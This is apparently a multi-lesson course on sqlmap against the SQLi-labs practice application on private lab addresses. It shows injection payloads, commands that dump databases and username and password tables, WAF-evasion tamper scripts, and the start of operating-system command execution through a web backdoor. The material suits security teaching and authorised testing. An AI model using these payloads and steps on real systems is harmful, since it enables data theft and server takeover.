[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:32:01 /2022-12-06/

[12:32:02] [INFO] testing connection to the target URL
[12:32:03] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:32:03] [INFO] testing if the target URL content is stable
[12:32:03] [INFO] target URL content is stable
[12:32:03] [INFO] testing if GET parameter 'id' is dynamic
[12:32:03] [INFO] GET parameter 'id' appears to be dynamic
[12:32:03] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:32:03] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[12:32:03] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

SQLMap throws an excellent output suggesting that the id is vulnerable to an error-based SQL injection, and the backend Database is MySQL

[12:32:03] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

As you may have understood, -u is used to supplying the URL to SQL Map, and the GET parameter is selected from it. Still, in case there are multiple parameters to look into, then we can use  -p and then specify the parameter name, to explicitly specify which parameter to look at in SQL Map.

As a bonus, it also alerts us that the parameter is susceptible to XSS vulnerability as well.

[12:32:03] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks

If you suspect, your backend database is not MySQL, then type y to continue. It is a good practice to check it.

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]y

On completion, it will produce output that the suspected URL is vulnerable to the id parameter. Type Y to continue if there are any.

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4' AND 5978=5978 AND 'yBkh'='yBkh

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=4' AND (SELECT 7029 FROM(SELECT COUNT(*),CONCAT(0x71766b7871,(SELECT (ELT(7029=7029,1))),0x71716a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pqQq'='pqQq

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=4' AND (SELECT 2736 FROM (SELECT(SLEEP(5)))haHG) AND 'MBbF'='MBbF

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-6733' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7871,0x6e7a796f655346646f704c4c6167654b6c666177674254694d6456497a5851767371434e5467736a,0x71716a6a71)-- -
---
[12:32:39] [INFO] the back-end DBMS is MySQL
web server operating system:Windows
web application technology:PHP 5.6.39, Apache 2.4.37
back-end DBMS:MySQL >= 5.0 (MariaDB fork)
[12:32:39] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

[*] ending @ 12:32:39 /2022-12-06/

When the detection phase is over, the output also shows us the variety of ways in which we can exploit this flaw. As a result, you can see the detailed output, consisting of exploitation choices, the payload used to test as well as the backend architecture of the web application.

Now, it is obvious that we can exploit this using the error-based technique. But before that, I'll navigate you through different types of settings we can use.

SQL Map supports the use of a specific technique of exploitation by using the --technique command line switch.

Letter

Letter Technique

B

Boolean-based blind or simply blind injection

E

Error-based injection

U

UNION-query based injection

S

Stacked queries

T

Time-based injection

Q

Inline queries

By default, SQLMap selects the appropriate usable technique; but it is a good idea to manually force SQL Map into one of these options if there are anomalies or if SQLMap is unable to dump the data automatically.

If you want to manually force SQLMap into one of these options, then you have to specify it while running a command.

Before that remove the log file. 

┌──(kali㉿kali)-[~]
└─$rm -rf /home/kali/.local/share/sqlmap/output/192.168.56.108

If you do not remove the logs file of SQLMap output, then whenever you try to run with any switches, it will automatically fetch the previous output.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://192.168.56.102/sqli-labs/Less-1/?id=4 --technique=B --dbms=MySQL --level=1 --risk=1

The --dbms switch is used to specify the back-end DBMS forcefully.

SQLMap has some awesome switches for additional tests to perform while looking for injection points.

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

On execution, it will operate SQL Injection according to given switches.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4' AND 5978=5978 AND 'yBkh'='yBkh
---
[12:32:39] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.39, Apache 2.4.37
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:32:39] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

As you can notice, SQL map only prints Boolean-based blind injection technique.

Automated Testing with SQLMap: Detection & Data Dumping Lesson 6 of 12
In Progress

Dumping Databases, Tables, Columns & Sensitive Data in Error-Based Scenarios

If you have learned the previous chapter then you might have a basic understanding of SQLMap usage. 

  • Learn More: 

In this chapter, we are going to dump data in an Error-based Scenario.  

Let's go back to the previously discussed example. Here, we shall exploit the vulnerability using the error-based technique of SQLMap to list the database user and the list of databases.

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 --current-user

The output is shown below:

[12:36:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.39, Apache 2.4.37
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:36:26] [INFO] fetching current user
current user: 'root@localhost'
[12:36:26] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

Impressive! The current database user pointed out by SQLMap is root.

Now let us print the list of databases present using --dbs switch.

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 --dbs 

The output is shown below:

available databases [7]:                                                                                                      
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] security
[*] test

We have now found seven databases, of which five are the default for MySQL— "challenges", “information_schema”, “mysql”, “performance_schema”, and "phpmyadmin" and two that the user created— “security” and “test”.

Once we have the list of databases available, it may be a good idea to dump one of them. 

For demonstration, I'll select the security, and dump out the tables present inside it. SQLMap provides the --tables switch to list the same, but it must be used in parallel with the -D switch, which tells it which database to choose while dumping the tables.

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 -D security --tables

The output is shown below:

Database: security                                                                                                            
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

The --tables instruct the sqlmap to extract all the tables from the security database. We’ve managed to find four tables in the security database. 

Next, we would try to enumerate the columns in the table that we are interested in. Now that the tables are at our disposal, let us dump out the data from the users' table. We'll use the --dump switch in conjunction with -D, and -T, which are used to dump out the data from the database and table names respectively.

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 -D security -T users --dump

The output is shown below:

Database: security                                                                                                            
Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+

Look at that, we have successfully extracted the data from the table. Sometimes it is possible that we are just interested in a specific column and not all of them.

For example, in the previous image, we may want to extract only the username and password columns, and might not want to waste time dumping the id column. 

To select and dump from specific columns we can use the -C switch, but initially, we'll use --columns to print the column names without actually dumping the table, and then use -C to select specific column names.

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 -D security -T users --columns

The output is shown below:

Database: security                                                                                                            
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

Great! We've got the exact column structure, now let us select the username and password columns, and dump from only these two columns.

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 -D security -T users -C "username,password" --dump

The output is shown below:

Database: security                                                                                                            
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+

There we have it! This data output is from only the username and password columns. As you can see from the syntax, the -C option takes the comma-separated values (CSV) of the column names.

Interacting with the wizard

If the previous stuff looks complicated then, for basic familiarity, there is an interactive setup wizard where SQLMap asks for things in detail, one by one, starting with the injection URL.

The --wizard switch invokes the wizard. 

┌──(kali㉿kali)-[~]
└─$sqlmap --wizard                                                                                                
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:46:02 /2022-12-06/

[12:46:02] [INFO] starting wizard interface
Please enter full target URL (-u):

As you can see, the wizard then asks for information. Input as per requirement.

Please enter full target URL (-u): http://192.168.56.108/sqli-labs-master/Less-1/?id=4
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 1

sqlmap is running, please wait..

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4' AND 5978=5978 AND 'yBkh'='yBkh

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=4' AND (SELECT 7029 FROM(SELECT COUNT(*),CONCAT(0x71766b7871,(SELECT (ELT(7029=7029,1))),0x71716a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pqQq'='pqQq

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=4' AND (SELECT 2736 FROM (SELECT(SLEEP(5)))haHG) AND 'MBbF'='MBbF

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-6733' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7871,0x6e7a796f655346646f704c4c6167654b6c666177674254694d6456497a5851767371434e5467736a,0x71716a6a71)-- -
---
web server operating system: Windows
web application technology: PHP 5.6.39, Apache 2.4.37
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '10.1.37-MariaDB'
current user: 'root@localhost'
current database: 'security'
current user is DBA: True

[*] ending @ 12:46:34 /2022-12-06/

It produces a basic output based on the setting chosen, such as the current user, the current database which was injectable, and whether or not the current user is a database administrator (DBA).

Dump everything!

There is an SQLMap option named --dump-all which dumps all the data present inside every single database accessible through the injection, including default databases such as information schema.

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 --dump-all

This command will extract everything accessible through the injection. Dumping all the databases takes a long time, and is generally not recommended. It may even disrupt the web application if the server resources are constrained.

Advanced SQLMap Techniques: Optimization, POST Requests & WAF Evasion Lesson 7 of 12
In Progress

Speeding Up Exploitation in Blind and Time-Based Scenarios

From our previous videos, we have only performed single-thread operations of SQLMap. But, in real life, it is not that easy. There are hundreds of rows that might be present inside a table. So, it means, the operation may take a long time to complete the process. So, we may need to speed up these operations.

Luckily, the developers of SQLMap have provided us with four types of optimization techniques that will help us speed up the process.

From the SQL Map Advanced help menu, we got four types of switches, as marked in color below:

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
   --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

Let’s explain them one by one. In this video, we will be going to perform this operation in a Blind and Time-based scenario.

Go back to the home page of SQLi-labs and click on this marked link:

Similar to the previous chapters, we have to input the ID as a parameter with a numeric value on top of the URL bar:

http://<your IP>/sqli-labs-master/less-9/?id=1

Now, let’s perform SQLMap, and firstly, try to exploit this injection.

┌──(kali㉿kali)-[~]
└─$sqlmap http://192.168.56.108/sqli-labs-master/Less-9/?id=1 --batch   
The --batch switch is used to enable a non-interactive session, once we use the switch the interactive shell will never ask for user input, it will automatically input default behavior.

The time Linux command-line utility automatically tracks and monitors the actual timing of completion of the processes.

The time taken for this operation is listed below:

---
Parameter: id (GET)
    Type:boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 1907=1907 AND 'EPDB'='EPDB

    Type:time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1617 FROM (SELECT(SLEEP(5)))LfOv) AND 'absg'='absg
---

Now, we have confirmed that the injection is Blind and Time-based. Now, we are ready, let’s continue our topic.

Previously, I have told you that SQLMap provides us four types of optimization techniques as follows: 

  • Multi-threading
  • NULL connections
  • HTTP persistent connections
  • Output prediction

Multi-threading

As we have already mentioned, SQL Map runs on only one single thread, which means it is darn slow. We can utilize the --threads switch and specify a value for the number of threads, which ranges from 1 to 10. By increasing the thread count, it can dramatically increase the overall performance of SQLMap.

Let's try that out. First, let's try to dump all the tables under the database security without the threads option. Here I am going to use the time command line utility to track and monitor the time.

┌──(kali㉿kali)-[~]
└─$time sqlmap http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump

The time Linux command-line utility automatically tracks and monitors the actual timing of completion of the processes.

The time taken for this operation is listed below:

real    94.28s
user    5.17s
sys     22.54s
cpu     29%

Now, let's attempt to do the same with a thread count of 4. But each time we have to remove the log file of the previous operations.

┌──(kali㉿kali)-[~]
└─$rm -rf /home/kali/.local/share/sqlmap/output/192.168.56.108/dump/security
┌──(kali㉿kali)-[~]
└─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --threads 4

The time taken for this operation is listed below:

real    19.72s
user    1.89s
sys     5.18s
cpu     35%

As you can see, the running time has decreased with additional threads.

NULL connection

The NULL connection is enabled by the --null-connection command-line switch. 

┌──(kali㉿kali)-[~]
└─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --null-connection
The NULL connection option in SQLMap will try to exploit the injection without actually retrieving the full HTML body of the target. Instead, it utilizes various HTTP properties, such as Range and HEAD to retrieve a certain section of the HTML body, or just simply checks the response length to determine TRUE and FALSE situations.

The time taken for this operation is listed below:

real    2.80s
user    1.29s
sys     0.98s
cpu     80%

If compare it with the previous then you will find out a significant difference. But as the process time decreases, which means CPU usage is high compared to others.

HTTP persistent connections

By default, SQLMap closes, opens, and recloses the connection to the target server as per your requirements, but this can sometimes create a bit of overhead. In case there is an overhead, this can be optimized by using the --keep-alive switch which uses the HTTP's persistent connection mechanism, and the exchange of data happens over an already opened connection.

┌──(kali㉿kali)-[~]
└─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --keep-alive

The time taken for this operation is listed below:

real    2.75s
user    1.22s
sys     1.13s
cpu     85%

If you compare it with the previous out you will find a significant difference.

Output prediction

To speed up things even further, SQLMap takes a very novel approach.

┌──(kali㉿kali)-[~]
└─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --predict-output
The output-prediction switch uses a table of precompiled datasets containing some common outputs found during SQL injections.

The time taken for this operation is listed below:

real    2.60s
user    1.21s
sys     1.02s
cpu     85%

 If you compare it with others, then you will notice basic differences in process time.

Basic Optimization 

SQLMap provides an option to turn on some of the flags for performance optimization by using the -o switch.

┌──(kali㉿kali)-[~]
└─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump -o     

These flags will enable as follows:

  • --keep-alive  
  • --null-connection 
  • --threads 3

This basically enables persistent connections, NULL connections, and multiple threads to three. This setting can be enabled to achieve rudimentary performance benefits in certain types of injections like those that are error-based.

The time taken for this operation is listed below:

real    2.66s
user    1.12s
sys     1.04s
cpu     81%

If you compare it with others, then you will notice basic differences in process time.

Advanced SQLMap Techniques: Optimization, POST Requests & WAF Evasion Lesson 8 of 12
In Progress

Handling SQL Injections in HTTP POST Requests & Custom Headers

Until now, we've just considered injections in the GET requests and parameters, if you have not yet completed them then click the below links:

SQLMap Brief Introductory
    Detect & Exploit SQL Injection 

    Dumping The Data

    Let us now look at an injection in a POST parameter and exploit the same with the SQL Map.


    It will redirect to a login Portal, as below screenshot:

    In the Username field, we try to insert a stray character to break the query as we did before. 

    Let's see what happens, when we click on Submit button.

    Upon submitting the work, we get a typical MySQL error. Now, we need to check exactly which POST parameter is affected. 

    To view the request we will use a Firefox add-on known as Live HTTP Headers which can be easily installed from the Firefox add-on gallery.

    Now, Launch the HTTP Header Live extension, and refresh the page to load the entries.

    So, based on the output of Live HTTP Headers, the affected parameter is "uname".

    Let's use SQLMap's --data switch to exploit this POST-based scenario. 

    Now, we'll enforce the parameter to check to uname and pass the POST parameters inside --data. Let's try this out in SQLMap. 

    ┌──(kali㉿kali)-[~]
    └─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-11/ --data "uname=test'&passwd=&submit=Submit" -p uname

    Here's what you'll see:

    ---
    Parameter: uname (POST)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: uname=test' AND (SELECT 8831 FROM(SELECT COUNT(*),CONCAT(0x717a626b71,(SELECT (ELT(8831=8831,1))),0x71716b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sQZr&passwd=&submit=Submit

        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: uname=test' AND (SELECT 2551 FROM (SELECT(SLEEP(5)))IkJg)-- METZ&passwd=&submit=Submit

        Type: UNION query
        Title: Generic UNION query (NULL) - 2 columns
        Payload: uname=test' UNION ALL SELECT NULL,CONCAT(0x717a626b71,0x6b566a6270656b416c57795a4d5978734f5a5a476c677976666b73684141704d5479534f44505055,0x71716b7a71)-- -&passwd=&submit=Submit
    ---
    [13:57:01] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.37, PHP 5.6.39
    back-end DBMS: MySQL >= 5.0 (MariaDB fork)
    [13:57:01] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

    Look at that, SQLMap exploited the same level of easiness as it did in the GET-based injections

    Another way of exploiting this is by capturing the POST request and manually specifying the parameter.

    ┌──(kali㉿kali)-[~]
    └─$ nano requirement.txt

    Now we've saved the request. We'll utilize the -r switch to read the HTTP request from the aforementioned file and then specify the vulnerable parameter, which in our case is uname through the -p switch.

    ┌──(kali㉿kali)-[~]
    └─$sqlmap -r requirement.txt -p uname
            ___
           __H__
     ___ ___[.]_____ ___ ___  {1.6.7#stable}
    |_ -| . [(]     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V...       |_|   https://sqlmap.org

    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

    [*] starting @ 13:57:47 /2022-12-06/

    [13:57:47] [INFO] parsing HTTP request from 'requirement.txt'
    [13:57:47] [INFO] resuming back-end DBMS 'mysql' 
    [13:57:47] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: uname (POST)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: uname=test' AND (SELECT 8831 FROM(SELECT COUNT(*),CONCAT(0x717a626b71,(SELECT (ELT(8831=8831,1))),0x71716b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sQZr&passwd=&submit=Submit

        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: uname=test' AND (SELECT 2551 FROM (SELECT(SLEEP(5)))IkJg)-- METZ&passwd=&submit=Submit

        Type: UNION query
        Title: Generic UNION query (NULL) - 2 columns
        Payload: uname=test' UNION ALL SELECT NULL,CONCAT(0x717a626b71,0x6b566a6270656b416c57795a4d5978734f5a5a476c677976666b73684141704d5479534f44505055,0x71716b7a71)-- -&passwd=&submit=Submit
    ---
    [13:57:48] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: PHP 5.6.39, Apache 2.4.37
    back-end DBMS: MySQL >= 5.0 (MariaDB fork)
    [13:57:48] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

    [*] ending @ 13:57:48 /2022-12-06/

    And again! Through this technique, we achieved the same result but in a different manner. 

    I demonstrated this through a file because this can be used when exploiting SQL injections that are not straightforward; when the payload is SOAP (XML-based) or JSON then we can use the same -r switch and feed the request to SQL Map through a file and exploit the injection.

Advanced SQLMap Techniques: Optimization, POST Requests & WAF Evasion Lesson 9 of 12
In Progress

Bypassing Web Application Firewalls (WAFs) using SQLMap Tamper Scripts

While attempting an injection through SQLMap, if you got something below-mentioned error as highlighted on my screen, then do not panic. 


 This error may occur for 3 major reasons, they are as follows:
┌──(kali㉿kali)-[~]
└─$sqlmap --list-tampers
┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.112/sqli-labs-master/Less-30/?id=1 --level 2 --risk 2 --tamper=charencode.py -v 4
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:26:59 /2022-12-20/

[01:26:59] [DEBUG] cleaning up configuration parameters
[01:26:59] [INFO] loading tamper module 'charencode'
[01:26:59] [DEBUG] setting the HTTP timeout
[01:26:59] [DEBUG] setting the HTTP User-Agent header
[01:26:59] [DEBUG] creating HTTP requests opener object
[01:26:59] [INFO] testing connection to the target URL
[01:26:59] [TRAFFIC OUT] HTTP request [#1]:
GET /sqli-labs-master/Less-30/?id=1 HTTP/1.1
Cache-control: no-cache
User-agent: sqlmap/1.6.7#stable (https://sqlmap.org)
Host: 192.168.56.112
Accept: */*
Accept-encoding: gzip,deflate
Connection: close

[01:26:59] [DEBUG] declared web page charset 'utf-8'
[01:27:00] [INFO] testing if the target URL content is stable
[01:27:00] [TRAFFIC OUT] HTTP request [#2]:
GET /sqli-labs-master/Less-30/?id=1 HTTP/1.1
Cache-control: no-cache
User-agent: sqlmap/1.6.7#stable (https://sqlmap.org)
Host: 192.168.56.112
Accept: */*
Accept-encoding: gzip,deflate
Connection: close
<SNIP>
  1. The first reason is quite simple, the tested parameter has not appeared to be injectable.
  2. If the error occurs due to a second reason, then it will be easily fixed by increasing the values of level and risk.
  3. This error may occur if there is some kind of protection mechanism involved.
In this section, we will be going to attempt to bypass the web application firewall using the Tamper script.

The --tamper switch is basically used in the evasion of simple filters and Web Application Firewalls (in short WAFs).

To list the Tamper scripts, run the following command on the terminal:

These Tamper scripts are a collection of in-built scripts which modify the injection vector used by SQLMap. For a better look, I have listed these scripts in a tabular form:

Name

Description

apostrophemask.py

Replaces the apostrophe character with its UTF-8 full-width counterpart.

apostrophenullencode.py

Replaces the apostrophe character with its illegal double Unicode counterpart.

appendnullbyte.py

Appends the encoded NULL byte character at the end of the payload.

base64encode.py

Base64 all characters in a given payload.

between.py

Replaces greater than operator (>) withNOT BETWEEN 0 AND #.

bluecoat.py

Replaces the space character after an SQL statement with a valid random blank character. Afterward, it replaces the character=with aLIKEoperator.

chardoubleencode.py

Double URL—encodes all characters in a given payload (not processing those that are already encoded).

commalesslimit.py

Replaces instances likeLIMIT M, NwithLIMIT N OFFSET M.

commalessmid.py

Replaces instances likeMID(A, B, C)withMID(A FROM B FOR C).

concat2concatws.py

Replaces instances likeCONCAT(A, B)withCONCAT_WS(MID(CHAR(0), 0, 0), A, B).

charencode.py

URL—encodes all characters in a given payload (not processing those already encoded).

charunicodeencode.py

Unicode-URL—encodes non-encoded characters in a given payload (not processing those already encoded).

equaltolike.py

Replaces all occurrences of the operator equal (=) with the operatorLIKE.

escapequotes.py

Slash escape quotes ('and").

greatest.py

Replaces greater than operator (>) withGREATESTcounterpart.

halfversionedmorekeywords.py

Adds a versioned MySQL comment before each keyword.

ifnull2ifisnull.py

Replaces instances likeIFNULL(A, B)withIF(ISNULL(A), B, A).

modsecurityversioned.py

Embraces a complete query with a versioned comment.

modsecurityzeroversioned.py

Embraces a complete query with a zero versioned comment.

multiplespaces.py

Adds multiple spaces around SQL keywords.

nonrecursivereplacement.py

Replaces predefined SQL keywords with representations suitable for replacement (such as replace ("SELECT", "")) filters.

percentage.py

Adds a percentage sign (%) in front of each character.

overlongutf8.py

Converts all characters in a given payload (not processing those which are already encoded).

randomcase.py

Replaces each keyword character with a random case value.

randomcomments.py

Adds random comments to SQL keywords.

securesphere.py

Appends a specially crafted string.

sp_password.py

Appendssp_passwordto the end of the payload for automatic obfuscation from the DBMS logs.

space2comment.py

Replaces the space character (' ') with comments/**/.

space2dash.py

Replaces the space character (' ') with a dash comment (--) followed by a random string and a new line (\n).

space2hash.py

Replaces the space character (' ') with a pound character (#) followed by a random string and a new line (\n).

space2morehash.py

Replaces the space character (' ') with a pound character (#) followed by a random string and a new line (\n).

space2mssqlblank.py

Replaces the space character (' ') with a random blank character from a valid set of alternate characters.

space2mssqlhash.py

Replaces the space character (' ') with a pound character (#) followed by a new line (\n).

space2mysqlblank.py

Replaces the space character (' ') with a random blank character from a valid set of alternate characters.

space2mysqldash.py

Replaces the space character (' ') with a dash comment (--) followed by a new line (\n).

space2plus.py

Replaces the space character (' ') with plus (+).

space2randomblank.py

Replaces the space character (' ') with a random blank character from a valid set of alternate characters.

symboliclogical.py

ReplacesANDandORlogical operators with their symbolic counterparts (&&and||).

unionalltounion.py

ReplacesUNION ALL SELECTwithUNION SELECT.

unmagicquotes.py

Replaces the quote character (') with a multibyte combo%bf%27together with a generic comment at the end (to make it work).

uppercase.py

Replaces each keyword character with an upper case value.

varnish.py

Appends an HTTP headerX-originating-IP.

versionedkeywords.py

Encloses each non-function keyword with a versioned MySQL comment.

versionedmorekeywords.py

Encloses each keyword with a versioned MySQL comment.

xforwardedfor.py

Appends a fake HTTP headerX-ForwardedFor.

Let's try and run one of the scripts called charencode.py, which replaces empty spaces with a + sign.

To run the tamper script mechanism, we'll use the --tamper switch with the name of the script, which in this case is charencode. For better results, I add --level switch with value 2 and --risk with value 2.

We'll also use the -v 4 level of verbosity to actually see the payload that was modified by the tamper script, as follows:

The output is shown below:

As you can see, the data mentioned in the payload sections of the output, are URL-encoded as per the charencode.py tamper script.

Tamper scripts are very experimental and should be used in a restricted or infrequent manner. Sometimes they may not work as expected. But these can sometimes be useful for evasion.

Operating System Takeover, Defense & Cheat Sheets Lesson 10 of 12
In Progress

Operating System Takeover with SQLMap (`--os-shell` & UDF Injection)

Various commands in SQLMap would allow us to execute system commands upon the underlying operating system. 

From the SQLMap Advanced help menu (sqlmap -hh), we have found several switches under the Operating System Access section, which can especially be used in order to take over the operating system.

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

In this chapter, we will be going to discuss the first three switches to take over the operating system, which are listed below:

  •     --os-cmd=OSCMD      Execute an operating system command
  •     --os-shell          Prompt for an interactive operating system shell
  •     --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --os-cmd=whoami
---
[11:51:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.37, PHP 5.6.39
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:51:29] [INFO] going to use a web backdoor for command execution
[11:51:29] [INFO] fingerprinting the back-end DBMS operating system
[11:51:29] [INFO] the back-end DBMS operating system is Windows
